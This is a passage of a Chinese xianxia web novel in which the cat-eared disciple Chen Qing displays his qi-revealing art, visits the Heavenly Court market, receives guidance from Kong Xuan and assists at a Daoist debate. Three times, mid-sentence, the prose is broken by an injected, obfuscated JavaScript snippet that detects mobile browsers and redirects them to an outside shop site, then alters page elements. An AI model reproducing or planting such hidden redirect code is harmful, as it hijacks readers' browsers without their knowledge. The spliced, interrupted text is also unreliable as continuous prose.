他自然看得出,这术法看似只是让物品发光,实则暗含大道至理——万物有灵,气韵相连。能将这种无形的连接以如此直观的方式显现出来,已不是简单的“术”,而触及了“法”的边缘。
厅堂内光影流转,每个人周身的灵光颜色、强度、流转方式皆不相同。
广成子的光浑厚如大地,赤精子的光锐利如金铁,慈航道人的光温润如水月。
蓬莱三位散仙的光也各具特色。碧游真人紫金交织,气象宏大,听竹真人青光流转,清雅隽永,赤炎真人赤霞翻涌,炽烈奔放。
黄龙真人坐在陈青不远处,周身泛起的是黄褐色的光华,厚重沉稳,与大地气息隐隐相连。
这些光华彼此交织,又互不干扰,将整个摘星阁映照得如梦似幻。
陈青立于厅中,闭目维持术法。
他能清晰感知到每一道光华中蕴含的“韵律”,那是修士道行、心性、乃至毕生修行道路的体现。这种感知极为消耗心神,但与此同时,他体内混沌本源也在与这些韵律隐隐共鸣,竟有种水乳交融的奇妙感受。
约莫半盏茶后,陈青缓缓收敛术法。
厅内光华渐次隐去,一切恢复如常。但方才那如梦似幻的景象,已深深印在众人心中。
碧游真人第一个抚掌赞叹:“妙!妙哉!此术不显神通,不炫法力,却能映照万物本真。小友,你这手段,颇有几分‘道法自然’的意味。”
听竹真人点头附和:“确是如此。贫道这竹箫跟随我三千年,自认对其灵性了如指掌。方才被那青光一照,竟发觉还有几处细微韵律从未体察,实在惭愧。”
赤炎真人更是直接,大手一挥:“小子,你这术法可有名堂?可能外传?若能学来,我拿三葫芦‘赤阳火酒’与你换!”
这话说得直白,引得众人莞尔。
广成子看向陈青,语气中难得带了一丝赞许:“青玄,你且说说,方才所显,与之前在听松轩时有何不同?”
这是在考校了。
陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294938|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青略一沉吟,答道:“回师伯,在听松轩时,弟子显化的是人身气机流转,助同门印证修行关窍。今日在此,弟子将术法范围扩至整个厅堂,并尝试映照人与外物相连的气韵。因诸位前辈修为高深,随身之物皆非凡品,故显化之象更为绚丽。然其根本,仍是‘显真’二字。”
“哦?”碧游真人来了兴趣,“那你观贫道这拂尘,所显紫金光华,可看出些什么?”
陈青抬眼看向那柄白玉拂尘,回忆方才感知到的韵律,谨慎答道:“弟子修为浅薄,不敢妄断前辈法宝玄妙。只隐约感知,那紫金光华中,紫气如云霞舒卷,暗合逍遥之道,金光似星辰轨迹,隐现推演之机。两者交融,气象宏大,当是一件既可护道、又可演法的重宝。”
碧游真人眼中精光一闪,随即大笑:“好眼力!虽未全中,却也说对七分。广成子道兄,你玉虚宫真是人才辈出啊!”
广成子淡然一笑,不置可否。
宴席继续,氛围却比之前更加融洽。
陈青退回座位时,黄龙真人递来一杯灵茶,低声道:“稳住心神,莫要骄傲。”
“是。”陈青接过茶,掌心微湿。方才维持术法,消耗确实不小,更别提这几位真人时不时还要校考。
接下来半场宴席,话题自然而然转到道法交流上。碧游真人谈起蓬莱一脉的“逍遥炼气法”,广成子则阐述玉清仙法的“中正养神道”,双方各抒己见,时有妙语。
陈青静坐聆听,这些高深道理他虽不能全懂,却如海绵般吸收着每一点信息。
宴至尾声,碧游真人忽然道:“说起来,贫道来时经过南天门,倒是遇见一件趣事。”
众人目光投来。
“天庭那位新任的‘五色神光真君’,诸位可知?”
广成子颔首:“孔宣道兄,他自封神之后入天庭任职,已有数百年未见了。”
“正是。”碧游真人笑道,“这位真君近日不知从何处得来一只奇兽,形似凡间狸猫,却通体雪白,唯额间有一抹金痕。那奇兽灵性极高,竟能口吐人言,且专爱点评各路仙家的洞府布置、衣着打扮,言语犀利,常常噎得人说不出话来。”
慈航道人闻言掩唇轻笑:“竟有这等事?”
“千真万确。”碧游真人道,“贫道经过时,正见那奇兽点评增长天王魔礼青的盔甲,说‘此甲金光太盛,失了沉稳,当以玄纹压之’。魔礼青一张黑脸气得发紫,却因那奇兽是孔宣真君的爱宠,不好发作,实在有趣。”
众人皆笑。
赤精子摇头:“孔宣道兄性子本就孤高,如今养了这么只灵宠,怕是更要少与人往来了。”
陈青听着,心中微动。
这个名字他听说过,在原本的洪荒传说中,这位可是了不得的人物。只是不知在此世,又是何等风采。
宴席在谈笑中结束,送走蓬莱三位道友后,广成子将黄龙真人与陈青留下。
“青玄。”广成子看向陈青,语气平静,“今日表现,尚可。你那气韵显真之术,确有独到之处。往后在黄龙师弟座下,当好生修行,莫要懈怠。”
“弟子谨遵师伯教诲。”
“此外,”广成子顿了顿,“三月之后,玉虚宫将举办一场‘论道小会’,届时会有数位交好的道友前来。你需提前准备,届时也要施展此术,为小会增色。”
又一场?
陈青心中无奈,面上恭敬应下:“是。”
离开摘星阁时,已是星斗满天。
黄龙真人与陈青驾云返回听松轩,一路无言。直到落在轩前松树下,黄龙真人才开口:“今日之事,你做得不错。”
陈青行礼:“多谢师父。”
“广成子师兄让你准备三月后的小会,你需用心。”黄龙真人转身看向他,“那小会规模虽不及今日,来的却都是与玉虚宫交好的正经道友,不比蓬莱散仙那般随性,你当明白其中分寸。”
“弟子明白。”
“去吧,好生休憩。”
陈青回到西厢静室,推开窗。
夜空如洗,星河璀璨。摘星阁方向仍有淡淡仙光未散,如雾如纱。
他立在窗前,回想今日种种,忽然,脑海里想起那个被偶然提及的名字——
孔宣。
五色神光真君。
陈青抬手,掌心一缕混沌之气溢出,在夜色中化作几点流萤,盘旋飞舞。
流萤明灭间,映亮少年清俊面容。
琥珀色的猫眼里,倒映着漫天星辰,也映着一丝若有若无的期待。
这洪荒之大,有趣的人,有趣的事,似乎比想象中更多。
4. 天庭趣事
三月时光,于昆仑山这等仙家福地而言,不过是几场晨昏交替,几次云海翻涌。
陈青在听松轩的日子渐渐步入正轨。白日随明心等弟子修习《黄庭经》基础篇章,傍晚则独自琢磨那气韵显真之术的种种变化。黄龙真人偶尔会来指点一二,话语不多,却每每切中关窍。
这日清晨,陈青正在竹林间演练一套新悟的呼吸法,忽闻轩外传来云驾破空之声。
不多时,道童来唤:“青玄师兄,师父请你去正厅。”
陈青整理衣袍前往,却见厅中除黄龙真人外,还站着一位陌生的道人。那人约莫三十许模样,身着天青色道袍,腰悬玉牌,面容端正,周身气度不似玉虚宫弟子那般严肃,反倒带着几分干练。
“青玄,这位是天庭司礼监的执事,明微道人。”黄龙真人介绍道,“三月后的论道小会,有些采办事宜需往天庭一趟。你随明微执事同去,也好长长见识。”
陈青心中微动,行礼道:“弟子见过明微执事。”
明微道人含笑还礼:“青玄小友客气了。早前听碧游真人提起,玉虚宫出了位擅气韵显真的妙人,今日一见,果然灵秀不凡。”
“哪里,执事过誉了。”陈青谦虚道。
黄龙真人道:“此次前往,主要是采买星辉露、月华草等布置会场之物。明微执事熟悉门路,你跟着学习便是。记住,天庭不比昆仑,规矩多,少看,少问,少言。”
“弟子谨记。”
“去吧,日落前归来。”
明微道人取出一枚巴掌大小的玉舟,往空中一抛。玉舟迎风见长,化作三丈长短的飞舟,舟身流光溢彩,刻满云纹符箓。
“此乃天庭制式的流云舟,专供各府往来之用。”明微道人解释道,“小友请。”
陈青随他登舟,玉舟缓缓升起,穿透昆仑护山大阵,朝九天之上飞去。
舟行平稳,速度却极快。不多时,下方昆仑山已缩为一片云海中的翠色斑点,四周开始出现缥缈的仙云雾霭。又行片刻,前方云层豁然开朗,一座巍峨天门耸立于云端。
那门高九丈九,通体白玉雕成,门楣上书“南天门”三个金色大字,笔力遒劲,隐隐有威压散发。门前立着四位金甲神将,个个身高神威,手持兵刃,目不斜视。
“到了。”明微道人收舟落地,上前与守门神将交涉。
陈青跟在后面,悄然打量四周。南天门后是一条宽阔的玉石大道,两旁立着数十根盘龙玉柱,柱顶燃着不灭明灯。远处可见连绵宫阙,飞檐斗拱隐于云霞之间,偶有仙鹤衔芝飞过,一派祥和景象。
只是……似乎太过安静了些。
正想着,明微道人已办妥手续,回头笑道:“小友是第一次来天庭吧?莫要紧张,只要守规矩,此处比凡间还要安全。”
两人随后步入天门,大道两旁也渐渐有了人影——或者说仙影。有驾云匆匆而过的仙官,有捧着文书疾步行走的仙吏,也有三三两两结伴闲逛的散仙。个个衣袂飘飘,气度不凡,但仔细看去,眉宇间或多或少都带着几分倦色?
陈青正疑惑,前方忽然传来一阵喧哗。
“说了不行就是不行!你这文书格式不对,拿回去重写!”
“可、可这已经是第三次了……”
“三十次也得重写!天庭规矩岂容儿戏?”
循声望去,只见一座宫阙门前,一位绿袍仙吏正板着脸训斥一名年轻仙人。那年轻仙人捧着卷轴,满面愁苦,欲言又止。
明微道人见状,低声对陈青道:“那是文书司的执事,最是严谨。天庭各部办事,最重文书格式,错一个字都不行。”
陈青恍然,难怪方才觉得那些仙官面带倦色,想来是案牍劳形所致。
两人继续前行,转过几条街巷,前方景象忽然一变。
不再是肃穆宫阙,而是一片热闹集市。街道两旁商铺林立,有卖仙草灵药的,有售法宝符箓的,甚至还有几家挂着“琼浆玉液”“仙馔珍馐”招牌的酒楼食肆。仙来仙往,讨价还价声、寒暄招呼声不绝于耳,倒有了几分人间烟火气。
“此处是天庭‘云市’,专供仙家交易所需之物。”明微道人熟门熟路地引着陈青穿行,“咱们要采买的星辉露、月华草,前头百草阁就有。”
陈青边走边看,颇觉新奇。
有一家铺子前围着几个仙女,正对着一匹流光溢彩的云霞锦评头论足:“这料子好是好,就是颜色太艳,织女姐姐上次做的裙子,被王母娘娘说不够端庄……”
另一处摊位,两位老仙正在为一株千年灵芝讨价还价:“三百功德点?你怎不去抢!上个月东海龙宫才卖二百五!”
“那是上个月!现在物价涨了懂不懂?”
正听得有趣,前方忽然人群分开,让出一条道来。
陈青抬眼望去,只见一位白衣仙人缓步走来。
那人身姿挺拔,容颜俊美得不似凡尘所有,眉眼间却带着一股疏离的清冷。他一袭白衣纤尘不染,长发以一根素玉簪松松束着,几缕碎发垂落额前。最引人注目的是他手中抱着一只通体雪白的狸猫,那猫儿额间有一抹金色纹路,正懒洋洋地眯着眼。
周遭仙人见了,纷纷行礼招呼:“孔宣真君。”
“真君今日得闲来云市?”
被唤作孔宣的白衣仙人只是微微颔首,并不答话。他怀中的白猫却忽然睁开眼,琉璃般的眸子扫过四周,口吐人言:“左边那个,你腰带系歪了,丑。”
被点名的仙官脸一红,连忙低头整理。
白猫又看向另一边:“右边穿紫袍的,你身上熏香太浓,呛猫。”
紫袍仙人嘴角抽了抽,没敢接话。
孔宣神色不变,仿佛没听见怀中灵宠的毒舌,径自朝前走去。经过陈青身旁时,他脚步微不可察地顿了一瞬。
陈青只觉得一股极淡的清冷气息拂面而过,如雪后初晴的松风。他下意识抬眼,正对上孔宣侧眸瞥来的一眼。
那眼神很淡,没什么情绪,却在掠过陈青头顶那对猫耳时,闪过一丝微光。
只一瞬,孔宣已收回目光,抱着白猫走远了。
待他身影消失在街角,周遭仙人才松口气般低声议论起来:
“孔宣真君这灵宠,嘴是越来越毒了。”
“谁让人家是真君心头好呢?前些日子还把太白金星的拂尘毛给薅秃了一撮,真君也不过说了句‘顽皮’,连句重话都没有。”
“听说这灵宠是下界异种,灵智奇高,就是性子……”
议论声渐低,人群重新恢复流动。
明微道人这才拉着陈青继续往前走,边走边低声道:“方才那位便是五色神光真君孔宣,在天庭是个特殊人物。他性子孤高,不喜交际,唯独对那只灵宠宠得没边。小友日后若再遇见,远远行礼便是,莫要上前搭话。”
陈青应下,心中却想起宴席上碧游真人的那番话。
看来传言非虚。
两人来到百草阁,铺面不大,却收拾得整洁雅致,柜台后坐着位白发老仙,正戴着水晶镜片仔细称量药材。
“明微执事来了。”老仙抬头,笑眯眯道,“这次要些什么?”
“星辉露三瓶,月华草十株,另外……”明微道人报出一串名目,都是布置会场所需之物。
老仙一边取货,一边与明微道人寒暄。陈青在旁静候,目光扫过柜台里陈列的种种奇珍。有叶脉如星图的“星纹草”,有花瓣似月牙的“弯月兰”,还有形如小伞、伞盖泛着莹莹蓝光的“夜光菇”。
正看着,铺外忽然又传来熟悉的声音。
“老板,上次那种雪顶云芽,再来半斤。”
陈青转头,见孔宣不知何时又折返回来,正站在铺门口。那只白猫仍在他怀中,此刻却探出头来,琉璃眼盯着柜台里的药材,鼻子轻嗅。
老仙连忙起身:“真君稍候,老朽这就去取。”
趁着老仙去里间取茶叶的工夫,孔宣的目光再次落到陈青身上,这一次停留得久了一些。
“你是玉虚宫门下?”他忽然开口,声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294939|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清冷如玉磬。
陈青微怔,随即行礼:“回真君,弟子青玄,在黄龙真人座下修行。”
“黄龙……”孔宣重复一遍,目光掠过陈青头顶的猫耳,“你这形貌,倒是特别。”
这话说得平淡,听不出褒贬。
陈青不知该如何接话,只道:“弟子跟脚殊异,化形未久,尚不能完全收敛本相。”
孔宣点了点头,不再言语。
倒是他怀中的白猫,忽然开口:“小黑白,你身上有股奇怪的味道。”
陈青一愣,小黑白?
白猫歪头盯着他:“就是黑白相间嘛。你身上有股……混沌气?不对,又有点别的,怪好闻的。”
孔宣抬手轻抚猫背:“莫要胡言。”
“才没胡言。”白猫嘟囔,却乖乖闭了嘴。
这时老仙取了茶叶出来,用玉盒仔细装好。孔宣付了功德点,接过茶叶,对陈青微微颔首,转身离去。
待他走远,明微道人才松口气般低声道:“孔宣真君今日倒是多说了几句话,难得。”
陈青看着那道白衣身影消失在街角,心中莫名浮现一个念头:
这位真君,似乎没有传言中那般不近人情。
采买完毕,两人驾流云舟返回昆仑。
回程路上,明微道人说起天庭种种规矩趣闻,陈青静静听着,偶尔问上一两句。
“方才那白猫说‘混沌气’,不知是何意?”他状似不经意地问。
明微道人笑道:“那灵宠灵智极高,常常说些旁人听不懂的话。小友不必放在心上。倒是你——”他顿了顿,“能被孔宣真君主动问话,已是难得。这位真君平日见人,多是连眼神都懒得给一个。”
陈青想起那双清冷如谭的眼眸,没接话。
流云舟穿透云层,昆仑山轮廓渐渐清晰。
落地听松轩时,日头还未偏西。明微道人与黄龙真人交接了采买之物,便告辞离去。
黄龙真人检查过物品,对陈青道:“此行可有所得?”
陈青沉吟片刻,道:“天庭气象宏大,规矩森严,与昆仑清净无为颇有不同。云市热闹,仙来仙往,倒让弟子想起凡间集市。”
“能看出这点,便不枉此行。”黄龙真人点头,“天庭是治理三界之所,自然要讲规矩法度。我玉虚宫是清修之地,重心性悟道,两者本就不问。”
他顿了顿,又道:“你遇见孔宣真君了?”
“是。真君还问了弟子几句话。”
黄龙真人眼中闪过一丝讶异,随即恢复平静:“既是机缘,便顺其自然。好了,今日奔波辛苦,你且去歇息。明日开始,要好生准备小会之事。”
“弟子告退。”
回到静室,陈青推开窗,望着天际流云。
脑中忽地浮起那位白衣真君清冷的身影,以及那只口吐人言、言语毒辣的白猫。
陈青抬手摸了摸自己头顶的猫耳,同样是猫,那位可真够嚣张的。
不过……
他想起白猫那句“怪好闻的”,又想起孔宣看自己时那若有所思的眼神。
混沌气?
难道自己这混沌魔气的跟脚,被察觉了?
算了,既然没有当场点破,那应是没有大碍,陈青晃晃脑袋,不再多想。眼下最重要的,是三月后的小会。既然广成子师伯特意点名要他准备,想必不是简单显化一番就能应付过去的,得弄点新花样才行。
窗外,暮色渐染。
昆仑山的夜,总是来得宁静而从容,远山轮廓在夕照中化作黛色剪影,偶尔有仙鹤归巢的鸣叫掠过天际。
陈青闭上眼,识海中混沌本源缓缓流转。
这一次,他不再执着于如何显化气韵,而是开始思考:论道小会的本质是什么?
是交流,是印证,是相互启发?
那么,有没有一种方式,能让这种交流更深入,更鲜活?
一个念头,如星火般在心底亮起。
或许……可以试试那个。
5. 孔宣来访
陈青正式拜入黄龙真人座下那日,并无盛大仪式。
只是清晨时分,黄龙真人唤他到听松轩正厅,让他对着元始天尊画像叩了九叩,又对着自己叩了三叩,递过一盏清茶。
饮茶罢,黄龙真人淡淡道:“自今日起,你便是玉虚宫三代弟子,排在你明心师兄之后。当勤修不辍,莫负玉虚门庭。”
“弟子谨遵师尊教诲。”陈青双手接过一盏回敬茶,礼数周全。
礼成后,黄龙真人给了他两件物事。一件是玉虚宫三代弟子的制式玉佩,青玉质地,正面刻昆仑山纹,背面刻“青玄”二字。另一件却是个巴掌大小的青铜铃铛,造型古朴,铃身刻满云纹。
“此乃‘清心铃’,有定神安魂之效。”黄龙真人道,“你既已入我门下,为师便多说几句。你那混沌魔气的跟脚,于修行一途有利有弊。利在悟性超凡,感知敏锐,弊在心性易受杂念侵扰。此铃你随身佩戴,修行时若觉心念浮动,轻摇三声,可助你澄明心神。”
陈青郑重接过:“谢师尊赐宝。”
拜师后,日子照旧,却又有些不同。
明心等几位师兄待他明显亲近许多,论道时也肯多分些心思指点。偶尔有其他峰头的弟子来听松轩串门,见了他这新入门的“猫耳师弟”,也不免多打量几眼,却再无之前那种若有若无的疏离感。
毕竟,入了玉虚宫门墙,便是正经的同门了。
这日黄昏,陈青正在竹林间琢磨气韵显真的新用法,忽闻轩外传来一阵悠扬钟声。那钟声与寻常聚道钟不同,音色清越绵长,一连响了七声。
“是玉虚宫主峰的‘迎客钟’。”明心不知何时来到他身后,解释道,“有贵客来访时才会敲响七声。听这方位,该是广成子师伯那边的麒麟崖。”
陈青望向主峰方向,暮色中,麒麟崖上空祥云汇聚,隐有仙乐飘飘。
“也不知是哪位大能来访。”明心喃喃,“走,去瞧瞧?”
两人驾云往主峰方向飞去,却不靠近,只在远处云层中观望。只见麒麟崖迎客台上,广成子、赤精子、慈航道人等几位金仙皆在。台前立着一位白衣仙人,身姿挺拔,虽看不清面目,但那身清冷气度,陈青一眼便认了出来——
孔宣。
他怀中仍抱着那只雪白狸猫,此刻正与广成子等人见礼。距离虽远,陈青却能感觉到,那边气氛似乎……有些微妙。
“原来是孔宣真君。”明心低声道,“难怪敲七声迎客钟,这位真君可是极少踏足昆仑的。”
“他来做什么?”陈青问。
“不知。不过看这架势,怕是有要事相商。”明心看了一会儿,道,“走吧,师尊不喜我等窥探长辈之事。”
两人悄悄退回听松轩。
是夜,月华如练。
陈青在静室中打坐调息,清心铃悬于腰间,偶尔随风轻响,发出细微清脆之音。他试着将神识沉入识海,感知那缕混沌本源的流转。
拜师后,黄龙真人传了他玉虚宫正统的《黄庭经》炼气法门。此法讲究中正平和,循序渐进,与混沌魔气那种跳脱不羁的本性颇为不合。但奇怪的是,两者在他体内竟未冲突,反倒隐隐有相融之势。
仿佛混沌本源是一汪活水,《黄庭经》心法则是河道,水流依旧自由,却有了方向。
正沉浸其中,窗外忽然传来极轻微的落地声。
陈青警觉睁眼,这里是听松轩内院,寻常人不得擅入。他起身推窗,却见院中古松之下,立着一道白衣身影。
月光如纱,笼罩那人周身,愈发显得清冷出尘。
“真君?”陈青微怔。
孔宣转过身来,怀中白猫已不见踪影。他目光落在陈青脸上,淡淡道:“黄龙道友可在?”
“师尊在正厅修行。”陈青忙行了一礼,“真君请稍候,弟子这便去通传。”
“不必。”孔宣道,“我在此等候便是。”
这话说得自然,仿佛深夜独自出现在别家弟子院中是件再平常不过的事。陈青一时不知该如何接话,只得道:“那……真君请院中稍坐,弟子去备茶。”
“有劳。”
陈青去茶室取了茶具,又舀来山泉水,在院中石桌上煮水沏茶。孔宣便在松下的石凳上坐下,静静看着他的动作。
茶是昆仑山自产的“云雾灵芽”,水是后山灵泉。陈青手法不算娴熟,却胜在认真,每一个步骤都做得一丝不苟。
茶水沸时,白雾蒸腾,茶香与松香混合,在月下氤氲开一片清雅。
“真君请。”陈青奉上茶盏。
孔宣接过,指尖与陈青手背轻触,一触即分。那触感微凉,如玉石相碰。
他浅啜一口,眉头微挑:“火候尚可。”
陈青不知这是褒是贬,只道:“弟子技艺粗浅,让真君见笑了。”
孔宣放下茶盏,目光落在陈青腰间悬着的清心铃上:“黄龙道友待你不薄。”
“是,师尊对弟子关怀备至。”陈青附和。
“你可知,他为何收你为徒?”孔宣忽然问。
陈青一怔,随即答道:“弟子在玉虚宫听道时擅引道韵,触犯规矩。天尊命弟子在师尊座下听用,以观后效。师尊见弟子尚可雕琢,便给了弟子正式入门的机会。”
“听用是罚,收徒是缘。”孔宣淡淡道,“黄龙道友行事向来稳妥,能让他破例,你自有不凡之处。”
陈青心中微动,他抬眼看向孔宣。月光下,这位真君的容颜愈发显得清冷绝尘,可那双眼中,却有种洞悉世事的通透。
几息后,陈青垂眸,低声道:“弟子愚钝,只知勤勉修行,不负师恩。”
孔宣看了他片刻,忽然道:“你那气韵显真之术,练到第几重了?”
陈青如实答道:“弟子只能做到映照外显,尚不能引动气韵流转。前日尝试将术法范围扩至整个厅堂,已觉吃力。”
“映照外显,是‘看’。”孔宣道,“引动流转,是‘用’。你根基尚浅,强求‘用’反损修为,不如在‘看’上下功夫。”
“请真君指点。”
“世间万物,皆有气韵。一草一木,一石一水,乃至一缕风、一片云,都有其独特韵律。”孔宣抬手,指尖在虚空中轻点,“你试着不看活物,只看死物。”
陈青依言闭目,催动混沌本源。
这一次,他不去感知院中生灵的气息,而是将神识缓缓铺开,融入石桌、石凳、青石板、古松的树皮、屋檐的瓦片……
起初是一片混沌,但渐渐地,那些看似死寂的物事,开始显露出极细微的“痕迹”。
石桌上有常年摆放茶具留下的温润气韵,青石板上有岁月风雨侵蚀的沧桑韵律,古松树皮间蕴藏着百年生长的坚韧节奏,就连瓦片上都残留着烧制时的火焰余温。
这些气韵极淡,淡到几乎无法察觉,却真实存在。
陈青睁开眼,目中闪过一丝明悟。
“如何?”孔宣问。
“弟子……看到了。”陈青深吸一口气,“万物皆有记忆,皆有痕迹。”
“这便是‘看’的深入。”孔宣点头,“你能看到这些,已胜过寻常真仙。假以时日,待你能‘看’清一方天地的完整韵律脉络,那时再谈‘用’,便水到渠成。”
陈青郑重行礼:“多谢真君指点。”
孔宣端起茶盏,又饮了一口,忽然道:“三日后的小会,你准备如何?”
陈青没想到他会问这个,略一沉吟,道:“弟子打算在论道间隙,以气韵显真之术映照诸位前辈论道时的气韵流转。如此,旁观者或能更直观体悟大道精微。”
“想法不错。”孔宣道,“但不够。”
“不够?”
“论道如弈棋,落子有声,观棋不语。”孔宣放下茶盏,“你映照气韵,等于将棋局每一步都摊开给人看,失了含蓄之美,也失了让人自行体悟的余地。”
陈青若有所思,他之前只想着如何让道理更“易懂”,却忘了“悟道”本身,就是一种需要亲身经历的体验。
太过直白,反而落了下乘。
“那依真君之见……”陈青犹豫道。
“可显三分,隐七分。”孔宣道,“显其轮廓,隐其精微。如雾里观花,水中望月,留三分朦胧,方有想象余地。”
陈青细细品味这话,眼中渐渐亮起光彩。
“弟子明白了。”
孔宣看他一眼,忽然起身:“茶已饮毕,话已说完,我该走了。”
陈青有点没反应过来,“真君不待师尊……”
“不必。”孔宣淡淡道,“我今夜来此,本也不是寻他。”
说罢,他身形化作点点清光,消散在月下松影之中。
陈青立在原地,望着那消散的光点,久久未动。
腰间清心铃被夜风吹响,发出清脆的叮铃声,在这寂静的夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294940|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,显得格外空灵。
三日后,论道小会如期举行。
地点设在玉虚宫侧殿“悟真阁”,来者皆是与玉虚宫交好的仙家。
有西昆仑的散修,有东海龙宫的使者,也有几位在天庭任职的仙官。广成子、赤精子、慈航道人、黄龙真人等几位金仙作陪,陈青则以“三代弟子代表”的身份,侍立黄龙真人身侧。
小会开场,依旧是例行的寒暄叙礼。
待众人落座,广成子开口道:“今日小聚,不谈法度,不论规矩,只做道理论辩。诸位道友皆是有道真修,不妨畅所欲言,相互印证。”
最先开口的是西昆仑一位白发老仙,道号“松岩”。他修的是地仙一脉,专攻山河地脉之法,此刻说起“地气流转与修行关窍”的见解,条理清晰,引经据典。
陈青静立聆听,同时悄然催动混沌本源,将神识融入整个悟真阁。
这一次,他不求“看”全,只求“看”准。
当松岩老仙讲到“地脉如人身经络,枢纽所在,即为要穴”时,陈青心念微动,一缕极淡的混沌之气自指尖溢出,融入地面青石板。
刹那间,整个悟真阁的地面泛起一层极淡的土黄色光晕。光晕中,隐约可见数道脉络般的纹路蜿蜒流转,正是地脉之气的显化。而在松岩老仙所站位置,一道光晕格外明亮,如泉眼涌动。
众人皆是一怔。
松岩老仙低头看去,眼中闪过讶色,随即笑道:“小友好手段。这显化之地脉轨迹,与贫道所言,竟有七八分吻合。”
陈青行礼道:“前辈道法精深,弟子只是借术法映照一二,不敢班门弄斧。”
“映照得准,便是本事。”松岩老仙抚须点头,继续讲道。有了地脉显化作为参照,他接下来的阐述愈发深入浅出,连几位对地仙之法不甚了解的仙官,也听得频频颔首。
接下来几位仙家论道,陈青皆以类似手法辅助。
有人讲水法,他便显化水汽流转,有人谈火诀,他便勾勒火焰韵律。每一次显化都只露轮廓,不显全貌,如孔宣所言——“显三分,隐七分”。
奇妙的是,这种半遮半掩的显化,反倒让旁观者更专注地去听、去思。每当某位仙家讲到精妙处,台下便有人面露恍然,似有所得。
轮到一位天庭仙官讲述“天规法度与修行心境”时,陈青遇到了难题。
天规法度无形无质,如何显化?
他略一沉吟,忽然想起那日与孔宣说的话——“万物皆有记忆,皆有痕迹”。
天规法度虽无形,却有“迹”可循。
陈青闭目凝神,将神识提升到极致。这一次,他不看物,不看气,只看“秩序”。那些经由无数仙神遵循、维护、运转而留下的“规则痕迹”,如蛛网般在天地间交织。
他小心翼翼引动混沌本源,在虚空中勾勒出几道极淡的金色丝线。丝线纵横交错,构成一个简化的网络,其中几处节点格外明亮,代表天规枢纽。
那仙官见状,眼中精光一闪:“妙!小友竟能显化‘法网’雏形,实在难得!”
广成子等人亦微微颔首。
小会进行至尾声,气氛愈发融洽。众仙家论道辩难,时有妙语,陈青的气韵显真之术穿插其间,如锦上添花,既不过分抢眼,又恰到好处地提升了论道的深度与趣味。
最后,广成子总结道:“今日论道,诸位道友各抒己见,相得益彰。青玄师侄的辅佐之术,亦别开生面。望日后多有此类交流,共参大道。”
众仙皆称善。
散会后,陈青随黄龙真人返回听松轩。
路上,黄龙真人忽然道:“你今日显化天规法网时,手法与前几次不同。”
陈青心头一紧:“是。弟子觉得天规无形,难以显化,便试着追溯其‘痕迹’……”
“不必紧张。”黄龙真人语气平和,“为师只是想说,你能不拘泥于形,转而求‘迹’,这份悟性,已属难得。”
“谢师尊夸赞。”
“不过,”黄龙真人话锋一转,“你可知晓,你显化天规法网时,引动了谁的注意?”
陈青一怔:“谁?”
“孔宣真君。”黄龙真人道,“他今日亦在悟真阁,只是隐于暗处,未现身罢了。”
陈青脚步一顿,月光下,他忽然想起那夜松间,白衣真君饮茶时说的那句话:
“你能看到这些,已胜过寻常真仙。”
6. 开搞了
论道小会过后,陈青在玉虚宫三代弟子中,算是真正立住了名头。
再无人因他那对猫耳和殊异跟脚而侧目,同门师兄弟见了他,多是真心实意称一声“青玄师弟”,偶尔请教些修行疑难时,也会顺带问一句“师弟那显化之术可能助我观气?”。
陈青来者不拒,帮明心师兄梳理地脉感应时,他顺手改良了气韵显真,将地脉流转之象凝成一幅可随身携带的“脉理图”,虽只能维持七日,却让明心在勘测灵穴时事半功倍。替另一位师姐参悟水行变化时,他试着将水流韵律编成一段可视的波纹谱,师姐观后直说“如听泉鸣”。
这些小巧思渐渐传开,连黄龙真人听说了,却也只是淡淡道:“莫要耽误自身修行便是。”
一起打坐时,明心偶尔还会问他:“师弟,你小会上那手显化天规痕迹的构思真是精妙,是如何想到的?”
陈青只答:“我原想得更复杂些,打算把整部天条的约束之力都凝成脉络显化出来。后来蒙孔宣真君点拨,说‘显三分,隐七分’,方才明白,留白引思,比填满更合道。”
明心面上闪过惊讶,“竟是孔宣真君。素闻真君孤高厌世,没想到竟是个热心肠!”
陈青只笑笑,不置可否。他总不能说是孔宣自己找上门的吧,还是翻进后院的那种。
这日午后,陈青正在竹林中演练一套新琢磨的“松涛引气法”。此法是他观听松轩外古松百年风姿所悟,将松树在风中摇曳的天然韵律融入呼吸吐纳,虽不算正统法门,却意外地与他混沌本源相合,修行时颇有几分自在畅快之意。
正沉浸其中,天际忽有紫气东来。
